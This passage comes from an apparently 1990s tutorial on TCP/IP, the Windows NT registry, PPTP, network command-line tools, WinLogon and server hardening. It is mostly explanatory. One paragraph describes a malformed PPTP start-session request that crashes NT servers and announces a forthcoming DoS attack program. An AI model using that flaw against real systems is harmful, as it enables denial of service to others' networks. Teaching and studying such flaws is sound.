to the Arpanet, it must be prepared to take 1500-octet Ethernet packets and split them into pieces that will fit on the Arpanet. Furthermore, every host implementation of TCP/IP must be prepared to accept pieces and put them back together. This is referred to as "reassembly".

TCP/IP implementations differ in the approach they take to deciding on datagram size. It is fairly common for implementations to use 576-byte datagrams whenever they can't verify that the entire path is able to

handle larger packets. This rather conservative strategy is used because of the number of implementations with bugs in the code to reassemble fragments. Implementors often try to avoid ever having fragmentation occur. Different implementors take different approaches to deciding when it is safe to use large datagrams. Some use them only for the local network. Others will use them for any network on the same campus. 576 bytes is a "safe" size, which every implementation must support.

There was a brief discussion earlier about what IP datagrams look like on an Ethernet. The discussion showed the Ethernet header and checksum. However it left one hole: It didn't say how to figure out

what Ethernet address to use when you want to talk to a given Internet address. In fact, there is a separate protocol for this, called ARP ("address resolution protocol"). (Note by the way that ARP is not an IP protocol. That is, the ARP datagrams do not have IP headers.)

Suppose you are on system 128.6.4.194 and you want to connect to system 128.6.4.7. Your system will first verify that 128.6.4.7 is on the same network, so it can talk directly via Ethernet. Then it will look up 128.6.4.7 in its ARP table, to see if it already knows the Ethernet address. If so, it will stick on an Ethernet header, and send the packet. But suppose this system is not in the ARP table. There is

no way to send the packet, because you need the Ethernet address. So it uses the ARP protocol to send an ARP request. Essentially an ARP request says "I need the Ethernet address for 128.6.4.7". Every system listens to ARP requests. When a system sees an ARP request for itself, it is required to respond. So 128.6.4.7 will see the request, and will respond with an ARP reply saying in effect "128.6.4.7 is

8:0:20:1:56:34". (Recall that Ethernet addresses are 48 bits. This is 6 octets. Ethernet addresses are conventionally shown in hex, using the punctuation shown.) Your system will save this information in its

ARP table, so future packets will go directly. Most systems treat the ARP table as a cache, and clear entries in it if they have not been used in a certain period of time.

Note by the way that ARP requests must be sent as "broadcasts". There is no way that an ARP request can be sent directly to the right system. After all, the whole reason for sending an ARP request is that

you don't know the Ethernet address. So an Ethernet address of all ones is used, i.e. ff:ff:ff:ff:ff:ff. By convention, every machine on the Ethernet is required to pay attention to packets with this as an

address. So every system sees every ARP requests. They all look to see whether the request is for their own address. If so, they respond. If not, they could just ignore it. (Some hosts will use ARP requests to

update their knowledge about other hosts on the network, even if the request isn't for them.) Note that packets whose IP address indicates broadcast (e.g. 255.255.255.255 or 128.6.4.255) are also sent with an Ethernet address that is all ones.

This section is not meant for NT engineers that already know the registry, and its not meant for people that have read the 800+ page books on the registry I’ve seen. This section is meant as a quick guide to get people understanding exactly what this registry thing is.

The windows registry provides for a somewhat secure, unified database that stores configuration information into a hierarchical model. Until recently, configuration files such as WIN.INI, were the only way to configure windows applications and operating system functions. In todays NT 4 environment, the registry replaces these .INI files. Each key in the registry is similar to bracketed headings in an .INI file.

One of the main disadvantages to the older .INI files is that those files are flat text files, which are unable to support nested headings or contain data other than pure text. Registry keys can contain nested headings in the form of subkeys. These subkeys provide finer details and a greater range to the possible configuration information for a particular operating system. Registry values can also consist of executable code, as well as provide individual preferences for multiple users of the same computer. The ability to store executable code within the Registry extends its usage to operating system system and application developers. The ability to store user-specific profile information allows one to tailor the environment for specific individual users.

To view the registry of an NT server, one would use the Registry Editor tool. There are two versions of Registry Editor:

.:Regedt32.exe has the most menu items and more choices for the menu items. You can search for keys and subkeys in the registry.

.:Regedit.exe enables you to search for strings, values, keys, and subkeys and export keys to .reg files. This feature is useful if you want to find specific data.

For ease of use, the Registry is divided into five seperate structures that represent the Registry database in its entirety. These five groups are known as Keys, and are discussed below:

This registry key contains the configuration information for the user that is currently logged in. The users folders, screen colors, and control panel settings are stored here. This information is known as a User Profile.

In windowsNT 3.5x, user profiles were stored locally (by default) in the systemroot\system32\config directory. In NT4.0, they are stored in the systemroot\profiles directory. User-Specific information is kept there, as well as common, system wide user information.

This change in storage location has been brought about to parallel the way in which Windows95 handles its user profiles. In earlier releases of NT, the user profile was stored as a single file - either locally in the \config directory or centrally on a server. In windowsNT 4, the single user profile has been broken up into a number of subdirectories located below the \profiles directory. The reason for this is mainly due to the way in which the Win95 and WinNT4 operating systems use the underlying directory structure to form part of their new user interface.

A user profile is now contained within the NtUser.dat (and NtUser.dat.log) files, as well as the following subdirectories:

• Application Data: This is a place to store application data specific to this particular user.
• Desktop: Placing an icon or a shortcut into this folder causes the that icon or shortcut to appear on the desktop of the user.
• Favorites: Provides a user with a personlized storage place for files, shortcuts and other information.
• NetHood: Maintains a list of personlized network connections.
• Personal: Keeps track of personal documents for a particular user.
• PrintHood: Similar to NetHood folder, PrintHood keeps track of printers rather than network connections.
• Recent: Contains information of recently used data.
• SendTo: Provides a centralized store of shortcuts and output devices.
• Start Menu: Contains configuration information for the users menu items.
• Templates: Storage location for document templates.

This key contains configuration information particular to the computer. This information is stored in the systemroot\system32\config directory as persistent operating system files, with the exception of the volatile hardware key.

The information gleaned from this configuration data is used by applications, device drivers, and the WindowsNT 4 operating system. The latter usage determines what system configuration data to use, without respect to the user currently logged on. For this reason the HKEY_LOCAL_MACHINE regsitry key is of specific importance to administrators who want to support and troubleshoot NT 4.

HKEY_LOCAL_MACHINE is probably the most important key in the registry and it contains five subkeys:

• Hardware: Database that describes the physical hardware in the computer, the way device drivers use that hardware, and mappings and related data that link kernel-mode drivers with various user-mode code. All data in this sub-tree is re-created everytime the system is started.
• SAM: The security accounts manager. Security information for user and group accounts and for the domains in NT 4 server.
• Security: Database that contains the local security policy, such as specific user rights. This key is used only by the NT 4 security subsystem.
• Software: Pre-computer software database. This key contains data about software installed on the local computer, as well as configuration information.
• System: Database that controls system start-up, device driver loading, NT 4 services and OS behavior.

This subtree contains the user and group accounts in the SAM database for the local computer. For a computer that is running NT 4, this subtree also contains security information for the domain. The information contained within the SAM registry key is what appears in the user interface of the User Manager utility, as well as in the lists of users and groups that appear when you make use of the Security menu commands in NT4 explorer.

This subtree contains security information for the local computer. This includes aspects such as assigning user rights, establishing password policies, and the membership of local groups, which are configurable in User Manager.

The information stored here is used to open the correct application when a file is opened by using Explorer and for Object Linking and Embedding. It is actually a window that reflects information from the HKEY_LOCAL_MACHINE\Software subkey.

The information contained in this key is to configure settings such as the software and device drivers to load or the display resolution to use. This key has a software and system subkeys, which keep track of configuration information.

The registry is divided into parts called hives. These hives are mapped to a single file and a .LOG file. These files are in the systemroot\system32\config directory.

Registry Hive File Name

=================================================================

HKEY_LOCAL_MACHINE\SAM SAM and SAM.LOG

HKEY_LOCAL_MACHINE\SECURITY Security and Security.LOG

HKEY_LOCAL_MACHINE\SOFTWARE Software and Software.LOG

HKEY_LOCAL_MACHINE\SYSTEM System and System.ALT

=================================================================

Although I am not gauranteeing that these files will be easy to understand, with a little research and patience, you will learn what you want to learn. I have been asked to write a file on how to decipher the contents of those files, but I have yet to decide weather I will do it or not.

Ownership = The ownership menu item presents a dialog box that identifies the user who owns the selected registry key. The owner of a key can permit another user to take ownership of a key. In addition, a system administrator can assign a user the right to take ownership, or outright take ownership himself.

REGINI.EXE = This utility is a character based console application that you can use to add keys to the NT registry by specifying a Registry script.

The Following table lists the major Registry hives and some subkeys and the DEFAULT access permissions assigned:

\\ denotes a major hive \denotes a subkey of the prior major hive

\\HKEY_LOCAL_MACHINE

Admin-Full Control

Everyone-Read Access

System-Full Control

\HARDWARE

Admin-Full Control

Everyone-Read Access

System-Full Control

\SAM

Admin-Full Control

Everyone-Read Access

System-Full Control

\SECURITY

Admin-Special (Write DAC, Read Control)

System-Full Control

\SOFTWARE

Admin-Full Control

Creator Owner-Full Control

Everyone-Special (Query, Set, Create, Enumerate, Notify, Delete, Read)

System-Full Control

\SYSTEM

Admin-Special (Query, Set, Create, Enumerate, Notify, Delete, Read)

Everyone-Read Access

System-Full Control

\\HKEY_CURRENT_USER

Admin-Full Control

Current User-Full Control

System-Full Control

\\HKEY_USERS

Admin-Full Control

Current User-Full Control

System-Full Control

\\HKET_CLASSES_ROOT

Admin-Full Control

Creator Owner-Full Control

Everyone-Special (Query, Set, Create, Enumerate, Notify, Delete, Read)

System-Full Control

\\HKEY_CURRENT CONFIG

Admin-Full Control

Creator Owner-Full Control

Everyone-Read Access

System-Full Control

Point-To-Point Tunneling Protocol (PPTP) is a protocol that allows the secure exchange of data from a client to a server by forming a Virtual Private Network (VPN) via a TCP/IP based network. The strong point of PPTP is its ability to provide on demand, multi-protocol support over existing network infrastructure, such as the Internet. This ability would allow a company to use the Internet to establish a virtual private network without the expense of a leased line.

The technology that makes PPTP possible is an extension of the remote access Point-To-Point Protocol (PPP- which is defined and documented by the Internet Engineering Task Force in RFC 1171). PPTP technology encapsulates PPP packets into IP datagrams for transmission over TCP/IP based networks. PPTP is currently a protocol draft awaiting standardization. The companies involved in the PPTP forum are Microsoft, Ascend Communications, 3Com/Primary Access, ECI Telematics, and US Robotics.

The Point-To-Point Tunneling Protocol is packaged with WindowsNT 4.0 Server and Workstation. PC's that are running this protocol can use it to securely connect to a private network as a remote access client using a public data network such as the Internet.

A major feature in the use of PPTP is its support for virtual private networking. The best part of this feature is that it supports VPN's over public-switched telephone networks (PSTNs). By using PPTP a company can greatly reduce the cost of deploying a wide area, remote access solution for mobile users because it provides secure and encrypted communications over existing network structures like PSTNs or the Internet.

In general practice, there are normally three computers involved in a deployment:

• a PPTP client
• a Network Access Server
• a PPTP Server

note: the network access server is optional, and if NOT needed for PPTP deployment. In normal deployment however, they are present.

In a typical deployment of PPTP, it begins with a remote or mobile PC that will be the PPTP client. This PPTP client needs access to a private network by using a local Internet Service Provider (ISP). Clients who are running the WindowsNT Server or Workstation operating systems will use Dial-up networking and the Point-To-Point protocol to connect to their ISP. The client will then connect to a network access server which will be located at the ISP (Network Access Servers are also known as Front-End Processors (FEPs) or Point-Of-Presence servers (POPs)). Once connected, the client has the ability to exchange data over the Internet. The Network Access Server uses the TCP/IP protocol for the handling of all traffic.

After the client has made the initial PPP connection to the ISP, a second Dial-Up networking call is made over the existing PPP connection. Data sent using the second connection is in the form of IP datagrams that contain PPP packets, referred to as encapsulated PPP. It is this second call that creates the virtual private network connection to a PPTP server on the private company network. This is called a tunnel.

Tunneling is the process of exchanging data to a computer on a private network by routing them over some other network. The other network routers cannot access the computer that is on the private network. However, tunneling enables the routing network to transmit the packet to an intermediary computer, such as a PPTP server. This PPTP server is connected to both the company private network and the routing network, which is in this case, the Internet. Both the PPTP client and the PPTP server use tunneling to securely transmit packets to a computer on the private network.

When the PPTP server receives a packet from the routing network (Internet), it sends it across the private network to the destination computer. The PPTP server does this by processing the PPTP packet to obtain the private network computer name or address information which is encapsulated in the PPP packet.

quick note: The encapsulated PPP packet can contain multi-protocol data such as TCP/IP, IPX/SPX, or NetBEUI. Because the PPTP server is configured to communicate across the private network by using private network protocols, it is able to understand Multi-Protocols.

PPTP encapsulates the encrypted and compressed PPP packets into IP datagrams for transmission over the Internet. These IP datagrams are routed over the Internet where they reach the PPTP server. The PPTP server disassembles the IP datagram into a PPP packet and then decrypts the packet using the network protocol of the private network. As mentioned earlier, the network protocols that are supported by PPTP are TCP/IP, IPX/SPX and NetBEUI.

A computer that is able to use the PPTP protocol can connect to a PPTP server two different ways:

• By using an ISP's network access server that supports inbound PPP connections.
• By using a physical TCP/IP-enabled LAN connection to connect to a PPTP server.

PPTP clients attempting to use an ISP's network access server must be properly configured with a modem and a VPN device to make the seperate connections to the ISP and the PPTP server. The first connection is dial-up connection utilizing the PPP protocol over the modem to an Internet Service Provider. The second connection is a VPN connection using PPTP, over the modem and through the ISP. The second connection requires the first connection because the tunnel between the VPN devices is established by using the modem and PPP connections to the internet.

The exception to this two connection process is using PPTP to create a virtual private network between computers physically connected to a LAN. In this scenario the client is already connected to a network and only uses Dial-Up networking with a VPN device to create the connection to a PPTP server on the LAN.

PPTP packets from a remote PPTP client and a local LAN PPTP client are processed differently. A PPTP packet from a remote client is placed on the telecommunication device physical media, while the PPTP packet from a LAN PPTP client is placed on the network adapter physical media.

This next area discusses the architecture of PPTP under Windows NT Server 4.0 and NT Workstation 4.0. The following section covers:

• PPP Protocol
• PPTP Control Connection
• PPTP Data Tunneling

The secure communication that is established using PPTP typically involves three processes, each of which requires successful completion of the previous process. This will now explain these processes and how they work:

PPP Connection and Communication: A PPTP client utilizes PPP to connect to an ISP by using a standard telephone line or ISDN line. This connection uses the PPP protocol to establish the connection and encrypt data packets.

PPTP Control Connection: Using the connection to the Internet established by the PPP protocol, the PPTP protocol creates a control connection from the PPTP client to a PPTP server on the Internet. This connection uses TCP to establish communication and is called a PPTP Tunnel.

PPTP Data Tunneling: The PPTP protocol creates IP datagrams containing encrypted PPP packets which are then sent through the PPTP tunnel to the PPTP server. The PPTP server disassembles the IP datagrams and decrypts the PPP packets, and the routes the decrypted packet to the private network.

The are will not cover in depth information about PPP, it will cover the role PPP plays in a PPTP environment. PPP is a remote access protocol used by PPTP to send data across TCP/IP based networks. PPP encapsulates IP, IPX, and NetBEUI packets between PPP frames and sends the encapsulated packets by creating a point-to-point link between the sending and receiving computers.

Most PPTP sessions are started by a client dialing up an ISP network access server. The PPP protocol is used to create the dial-up connection between the client and network access server and performs the folloing functions:

• Establishes and ends the physical connection. The PPP protocol uses a sequence defined in RFC 1661 to establish and maintain connections between remote computers.
• Authenticates Users. PPTP clients are authenticated by using PPP. Clear text, encrypted or MS CHAP can be used by the PPP protocol.
• Creates PPP datagrams that contain encrypted IPX, NetBEUI, or TCP/IP packets.

The PPTP protocol specifies a series of messages that are used for session control. These messages are sent between a PPTP client and a PPTP server. The control messages establish, maintain and end the PPTP tunnel. The following list present the primary control messages used to establish and maintain the PPTP session.

PPTP_START_SESSION_REQUEST Starts Session

PPTP_START_SESSION_REPLY Replies to Start Session Request

PPTP_ECHO_REQUEST Maintains Session

PPTP_ECHO_REPLY Replies to Maintain Session Request

PPTP_WAN_ERROR_NOTIFY Reports an error in the PPP connection

PPTP_SET_LINK_INFO Configures PPTP Client/Server Connection

PPTP_STOP_SESSION_REQUEST Ends Session

PPTP_STOP_SESSION_REPLY Replies to End Session Request

The control messages are sent inside of control packets in a TCP datagram. One TCP connection is enabled between the PPTP client and Server. This path is used to send and receive control messages. The datagram contains a PPP header, a TCP Header, a PPTP Control message and appropriate trailers. The construction is as follows

-----------------------------------

PPP Delivery Header

-----------------------------------

IP Header

-----------------------------------

PPTP Control Message

-----------------------------------

Trailers

-----------------------------------

After the PPTP Tunnel has been created, user data is transmitted between the client and PPTP server. Data is sent in IP Datagrams containing PPP packets. The IP datagram is created using a modified version of the Generic Routing Encapsulation (GRE) protocol (GRE is defined in RFC 1701 and 1702). The structure of the IP Datagram is as follows:

---------------------------------------------------

PPP Delivery Header

---------------------------------------------------

IP Header

---------------------------------------------------

GRE Header

---------------------------------------------------

PPP Header

---------------------------------------------------

IP Header

---------------------------------------------------

TCP Header

---------------------------------------------------

Data

---------------------------------------------------

By paying attention to the construction of the packet, you can see how it would be able to be transmitted over the Internet as headers are stripped off. The PPP Delivery header provides information necessary for the datagram to traverse the Internet. The GRE header is used to encapsulate the PPP packet within the IP Datagram. The PPP packet is created by RAS. The PPP Packet is encrypted and if intercepted, would be unintelligible.

PPTP uses the strict authentication and encryption security available to computers running RAS under WindowsNT Server version 4.0. PPTP can also protect the PPTP server and private network by ignoring all but PPTP traffic. Despite this security, it is easy to configure a firewall to allow PPTP to access the network.

Authentication: Initial dial-in authentication may be required by an ISP network access server. If this Authentication is required, it is strictly to log on to the ISP, it is not related to Windows NT based Authentication. A PPTP server is a gateway to your network, and as such it requires standard WindowsNT based logon. All PPTP clients must provide a user name and password. Therefore, remote access logon using a PC running under NT server or Workstation is as secure as logging on from a PC connected to a LAN (theoretically). Authentication of remote PPTP clients is done by using the same PPP authentication methods used for any RAS client dialing directly into an NT Server. Because of this, it fully supports MS-CHAP (Microsoft Challenge Handshake Authentication Protocol which uses the MD4 hash as well as earlier LAN Manager methods.)

Access Control: After Authentication, all access to the private LAN continues to use existing NT based security structures. Access to resources on NTFS drives or to other network resources require the proper permissions, just as if you were connected directly to the LAN.

Data Encryption: For data encryption, PPTP uses the RAS "shared-secret" encryption process. It is referred to as a shared-secret because both ends of the connection share the encryption key. Under Microsoft’s implementation of RAS, the shared secret is the user password (Other methods include public key encryption). PPTP uses the PPP encryption and PPP compression schemes. The CCP (Compression Control Protocol) is used to negotiate the encryption used. The username and password is available to the server and supplied by the client. An encryption key is generated using a hash of the password stored on both the client and server. The RSA RC4 standard is used to create this 40-bit (128-bit inside the US and Canada is available) session key based on the client password. This key is then used to encrypt and decrypt all data exchanged between the PPTP client and server. The data in PPP packets is encrypted. The PPP packet containing the block of encrypted data is then stuffed into a larger IP datagram for routing.

PPTP Packet Filtering: Network security from intruders can be enhanced by enabling PPTP filtering on the PPTP server. When PPTP filtering is enabled, the PPTP server on the private network accepts and routes only PPTP packets. This prevents ALL other packet types from entering the network. PPTP traffic uses port 1723.

This following is a list of Windows NT Registry Keys where user defined PPTP information can be found:

KEY: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RASPPTPE\

Parameters\Configuration

Values: AuthenticateIncomingCalls

DataType = REG_WORD

Range = 0 - 1

Default = 0

Set this value to 1 to force PPTP to accept calls only from IP addresses listed in the PeerClientIPAddresses registry value. If AuthenticateIncomingCalls is set to 1 and there are no addresses in PeerClientIPAddresses, the no clients will be able to connect.

PeerClientIPAddresses

DataType = REG_MULTI_SZ

Range = The format is a valid IP address

This parameter is a list of IP addresses the server will accept connections from.

KEY: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<adapter name>\

Parameters\Tcpip

Values: DontAddDefaultGateway

DataType = REG_WORD

Range = 0 - 1

Default = 1

When PPTP is installed, a default route is made for each LAN adapter. This parameter will disable the default route on the corporate LAN adapter.

PPTPFiltering

Key: <adaptername.\Paramters\tcpip

ValueType: REG_WORD

Valid Range: 0 - 1

Default = 0

This parameter controls whether PPTP filtering is enabled or not.

PPTPTcpMaxDataRetransmissions

Key: Tcpip\Parameters

ValueType: REG_WORD - Number of times to retransmit a PPTP packet.

Valid Range: 0 - 0xFFFFFFFF

Default: 9

This setting control how many times PPTP will retransmit a packet.

SPECIAL REVISION: As a last minute revision to the lecture. A flaw has been discovered in the PPTP architecture. It turns out that if you send a that if you send a pptp start session request with an invalid packet length in the pptp packet header that it will crash an NT box and cause the NT server to do a CoreDump. Fragments of code for a DoS attack package are flying, and the rhino9 team should have a completed DoS Attack program released soon. This program is released, of course, for network administrators wanting to know how the bug works.

This is list of the most commonly used TCP/IP command line tools that are used to explore and find out information from a network. These tools will be referred to later on in this document, so its usage and function will not be explained later. Please note that not all of these switches remain the same across different TCP/IP stacks. The Microsoft TCP/IP stack is almost always different than most switches used on Unix systems.

The arp command will display internet to ethernet (IP to MAC) address translations which is normally handled by the arp protocol. When the hostname is the only parameter, this command will display the currect ARP entry for that hostname.

Usage: arp hostname

Switches: -a Displays current ARP entries by interrogating the current

protocol data. If inet_addr is specified, the IP and Physical

addresses for only the specified computer are displayed. If

more than one network interface uses ARP, entries for each ARP

table are displayed.

-g Same as -a.

inet_addr Specifies an internet address.

-N if_addr Displays the ARP entries for the network interface specified

by if_addr.

-d Deletes the host specified by inet_addr.

-s Adds the host and associates the Internet address inet_addr

with the Physical address eth_addr. The Physical address is

given as 6 hexadecimal bytes separated by hyphens. The entry

is permanent.

eth_addr Specifies a physical address.

if_addr If present, this specifies the Internet address of the

interface whose address translation table should be modified.

If not present, the first applicable interface will be used.

The traceroute command is used to trace the route that a packet takes to reach its destination. This command works by using the time to live (TTL) filed in the IP packet.

Usage: tracert IP or Hostname

Switches: -d Do not resolve addresses to hostnames.

-h maximum_hops Maximum number of hops to search for target.

-j host-list Loose source route along host-list.

-w timeout Wait timeout milliseconds for each reply.

This command is used to query the network subsystem regarding certain types of information. Different types of information will be received depending on the switches used in conjunction with this command.

Usage: netstat [switch]

Switches: -A Shows the addresses of any associated protocol control blocks.

-a Will show the status of all sockets. Sockets associated with network

server processes are normally not shown.

-i Shows the state of the network interfaces.

-m Prints the network memory usage.

-n Causes netstat to show actual addresses as opposed to hostnames or

network names.

-r Prints the routing table.

-s Tells netstat to show the per protocol statistics.

-t Replaces the queue length information with timer information.

By default, finger will list the login name, full name, terminal name, and write status (shown as a "*" before the terminal name if write permission is denied), idle time, login time, office location, and phone number (if known) for each current user connected to the network.

Usage: finger username@domain

Switches: -b Brief output format

-f Supresses the printing of the header line.

-i Provides a quick list of users with idle time.

-l Forces long output format.

-p Supresses printing of the .plan file (if present)

-q Provides a quick list of users.

-s Forces short output form.

-w Forces narrow output form.

The ping (Packet Internet Groper) is used to send ICMP (Internet Control Message Protocol) packets from one host to another. Ping transmits packets using the ICMP ECHO_REQUEST command and expects an ICMP ECHO_REPLY.

Usage: ping IP address or Hostname

Switches: -t Ping the specifed host until interrupted.

-a Resolve addresses to hostnames.

-n count Number of echo requests to send.

-l size Send buffer size.

-f Set Don't Fragment flag in packet.

-i TTL Time To Live.

-v TOS Type Of Service.

-r count Record route for count hops.

-s count Timestamp for count hops.

-j host-list Loose source route along host-list.

-k host-list Strict source route along host-list.

-w timeout Timeout in milliseconds to wait for each reply.

Can be used to query the network concerning NetBIOS information. It can also be useful for purging the NetBIOS cache and reloading the LMHOSTS file. This one command can be extremely useful when performing security audits. When one knows how to interpret the information, it can reveal more than one might think.

Usage: nbtstat [-a RemoteName] [-A IP_address] [-c] [-n] [-R] [-r] [-S] [-s] [interval]

Switches -a Lists the remote computer's name table given its host name.

-A Lists the remote computer's name table given its IP address.

-c Lists the remote name cache including the IP addresses.

Lists the remote name cache including the IP addresses Lists local NetBIOS

names. Lists names resolved by broadcast and via WINS Purges and reloads the

remote cache name table Lists sessions table with the destination IP addresses

Lists sessions table converting destination IP addresses to host names via the

hosts file.

-n Lists local NetBIOS names.

-r Lists names resolved by broadcast and via WINS.

-R Purges and reloads the remote cache name table.

-S Lists sessions table with the destination IP addresses.

-s Lists sessions table converting destination IP addresses to host names via the

hosts file.

interval This will redisplay the selected statistics, pausing for the number of seconds you

choose as "interval" between each listing. Press CTRL+C to stop.

The column headings generated by NBTSTAT have the following meanings:

Input

Number of bytes received.

Output

Number of bytes sent.

In/Out

Whether the connection is from the computer (outbound) or from another system to

the local computer (inbound).

Life

The remaining time that a name table cache entry will "live" before your computer

purges it.

Local Name

The local NetBIOS name given to the connection.

Remote Host

The name or IP address of the remote host.

Type

A name can have one of two types: unique or group.

The last byte of the 16 character NetBIOS name often means something because

the same name can be present multiple times on the same computer. This shows

the last byte of the name converted into hex.

State

Your NetBIOS connections will be shown in one of the following "states":

State Meaning

Accepting An incoming connection is in process.

Associated The endpoint for a connection has been created and your computer has ssociated it with an IP address.

Connected This is a good state! It means you're connected to the remote resource.

Connecting Your session is trying to resolve the name-to-IP address mapping of the destination resource.

Disconnected Your computer requested a disconnect, and it is waiting for the remote computer to do so.

Disconnecting Your connection is ending.

Idle The remote computer has been opened in the current session, but is currently not accepting connections.

Inbound An inbound session is trying to connect.

Listening The remote computer is available.

Outbound Your session is creating the TCP connection.

Reconnecting If your connection failed on the first attempt, it will display this state as it tries to reconnect.

Name Number Type Usage

=========================================================================

<computername> 00 U Workstation Service

<computername> 01 U Messenger Service

<\\_MSBROWSE_> 01 G Master Browser

<computername> 03 U Messenger Service

<computername> 06 U RAS Server Service

<computername> 1F U NetDDE Service

<computername> 20 U File Server Service

<computername> 21 U RAS Client Service

<computername> 22 U Exchange Interchange

<computername> 23 U Exchange Store

<computername> 24 U Exchange Directory

<computername> 30 U Modem Sharing Server Service

<computername> 31 U Modem Sharing Client Service

<computername> 43 U SMS Client Remote Control

<computername> 44 U SMS Admin Remote Control Tool

<computername> 45 U SMS Client Remote Chat

<computername> 46 U SMS Client Remote Transfer

<computername> 4C U DEC Pathworks TCPIP Service

<computername> 52 U DEC Pathworks TCPIP Service

<computername> 87 U Exchange MTA

<computername> 6A U Exchange IMC

<computername> BE U Network Monitor Agent

<computername> BF U Network Monitor Apps

<username> 03 U Messenger Service

<domain> 00 G Domain Name

<domain> 1B U Domain Master Browser

<domain> 1C G Domain Controllers

<domain> 1D U Master Browser

<domain> 1E G Browser Service Elections

<INet~Services> 1C G Internet Information Server

<IS~Computer_name> 00 U Internet Information Server

<computername> [2B] U Lotus Notes Server

IRISMULTICAST [2F] G Lotus Notes

IRISNAMESERVER [33] G Lotus Notes

Forte_$ND800ZA [20] U DCA Irmalan Gateway Service

Unique (U): The name may have only one IP address assigned to it. On a network device, multiple occurences of a single name may appear to be registered, but the suffix will be unique, making the entire name unique.

Group (G): A normal group; the single name may exist with many IP addresses.

Multihomed (M): The name is unique, but due to multiple network interfaces on the same computer, this configuration is necessary to permit the registration. Maximum number of addresses is 25.

Internet Group (I): This is a special configuration of the group name used to manage WinNT domain names.

Domain Name (D): New in NT 4.0

The ipconfig command will give you information about your current TCP/IP configuration. Information such as IP address, default gateway, subnet mask, etc can all be retrieved using this command.

Usage: ipconfig [/? | /all | /release [adapter] | /renew [adapter]]

Switches: /? Display this help message.

/all Display full configuration information.

/release Release the IP address for the specified adapter.

/renew Renew the IP address for the specified adapter.

Technically, telnet is a protocol. This means it is a language that computer use to communicate with one another in a particular way. From your point of view, Telnet is a program that lets you login to a site on the Internet through your connection to Teleport. It is a terminal emulation program, meaning that when you connect to the remote site, your computer functions as a terminal for that computer.

Once the connection is made, you can use your computer to access information, run programs, edit files, and otherwise use whatever resources are available on the other computer. What is available depends on the computer you connect to. Most of the times, if you type '?' or 'help', you would normally receive some type of information, menu options, etc.

Note: telnet connections give you command-line access only. In other

words, instead of being able to use buttons and menus as you do with a

graphical interface, you have to type commands. However, telnet allows

you to use certain utilities and resources you cannot access with your

other Internet applications.

Usage: telnet hostname or IP address port(optional)

WinLogon

Users must log on to a Windows NT machine in order to use that NT based machine or network. The logon process itself cannot be bypassed, it is mandatory. Once the user has logged on, an access token is created (this token will be discussed in more detail later). This token contains user specific security information, such as: security identifier, group identifiers, user rights and permissions. The user, as well as all processes spawned by the user are identified to the system with this token.

The first step in the WinLogon process is something we are all familiar with, CTRL+ALT+DEL. This is NT's default Security Attention Sequence (SAS - The SAS key combo can be changed. We will also discuss that later.). This SAS is a signal to the operating system that someone is trying to logon. After the SAS is triggered, all user mode applications pause until the security operation completes or is cancelled. (Note: The SAS is not just a logon operation, this same key combination can be used for logging on, logging off, changing a password or locking the workstation.) The pausing, or closing, of all user mode applications during SAS is a security feature that most people take for granted and dont understand. Due to this pausing of applications, logon related trojan viruses are stopped, keyloggers (programs that run in memory, keeping track of keystrokes, therefor recording someones password) are stopped as well.

The user name is not case sensitive but the password is.

After typing in your information and clicking OK (or pressing enter), the WinLogon process supplies the information to the security subsystem, which in turn compares the information to the Security Accounts Manager (SAM). If the information is compliant with the information in the SAM, an access token is created for the user. The WinLogon takes the access token and passes it onto the Win32 subsytem, which in turn starts the operating systems shell. The shell, as well as all other spawned processes will receive a token. This token is not only used for security, but also allows NTs auditing and logging features to track user usage and access of network resources.

Note: All of the logon components are located in a file known as the Graphical Indetification and Authentication (GINA) module, specifically MSGINA.DLL. Under certain conditions, this file can be replaced, which is how you would change the SAS key combination.

For fine tuning of the WinLogon process, you can refer to the registry. All of the options for the WinLogon process are contained in the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon area. You can also fine tune the process by using the Policy Editor.

Logging on to a Domain

If an NT machine is a participant on a Domain, you would not only need to login to the local machine, but the Domain as well. If a computer is a member of a Domain, the WinLogon process is replaced by the NetLogon process.

Local Security Authority (LSA): Also known as the security subsystem, it is the central portion of NT security. It handles local security policies and user authentication. The LSA also handles generating and logging audit messages.

Security Accounts Manager (SAM): The SAM handles user and group accounts, and provides user authentication for the LSA.

Security Reference Monitor (SRM): The SRM is in charge of enforcing and assuring access validation and auditing for the LSA. It references user account information as the user attempts to access resources.

Microsoft Windows NT operating system provides several security features. However, the default out-of-the-box configuration is highly relaxed, especially on the Workstation product. This is because the operating system is sold as a shrink-wrapped product with an assumption that an average customer may not want to worry about a highly restrained but secure system on their desktop.

A particular installation's requirements can differ significantly from another. Therefore, it is necessary for individual customers to evaluate their particular environment and requirements before implementing a security configuration. This is also because implementing security settings can impact system configuration. Certain applications installed on Windows NT may require more relaxed settings to function properly than others because of the nature of the product. Customers are therefore advised to careful evaluate recommendations in the context of their system configurations and usage.

If you install a Windows NT machine as a web server or a firewall, you should tighten up the security on that box. Ordinary machines on your internal network are less accessible than a machine the Internet. A machine accessible from the Internet is more vulnerable and likely to be attacked. Securing the machine gives you a bastion host. Some of the things you should do include:

• Remove all protocol stacks except TCP/IP, since IP is the only protocol that runs on the Internet
• Remove unnecessary network bindings
• Disable all unnecessary accounts, like guest
• Remove share permissions and default shares
• Remove network access for everyone (User Manger -> Policies ->User rights, "Access this computer from the network")
• Disable unnecessary services
• Enable audit logging
• Track the audit information

Take the precautions you would with any piece of valuable equipment to protect against casual theft. This step can include locking the room the computer is in when no one is there to keep an eye on it, or using a locked cable to attach the unit to a wall. You might also want to establish procedures for moving or repairing the computer so that the computer or its components cannot be taken under false pretenses.

Use a surge protector or power conditioner to protect the computer and its peripherals from power spikes. Also, perform regular disk scans and defragmentation to isolate bad sectors and to maintain the highest possible disk performance.

As with minimal security, the computer should be protected as any valuable equipment would be. Generally, this involves keeping the computer in a building that is locked to unauthorized users, as most homes and offices are. In some instances you might want to use a cable and lock to secure the computer to its location. If the computer has a physical lock, you can lock it and keep the key in a safe place for additional security. However, if the key is lost or inaccessible, an authorized user might be unable to work on the computer.

You might choose to keep unauthorized users away from the power or reset switches on the computer, particularly if your computer's rights policy denies them the right to shut down the computer. The most secure computers (other than those in locked and guarded rooms) expose only the computer's keyboard, monitor, mouse, and (when appropriate) printer to users. The CPU and removable media drives can be locked away where only specifically authorized personnel can access them.

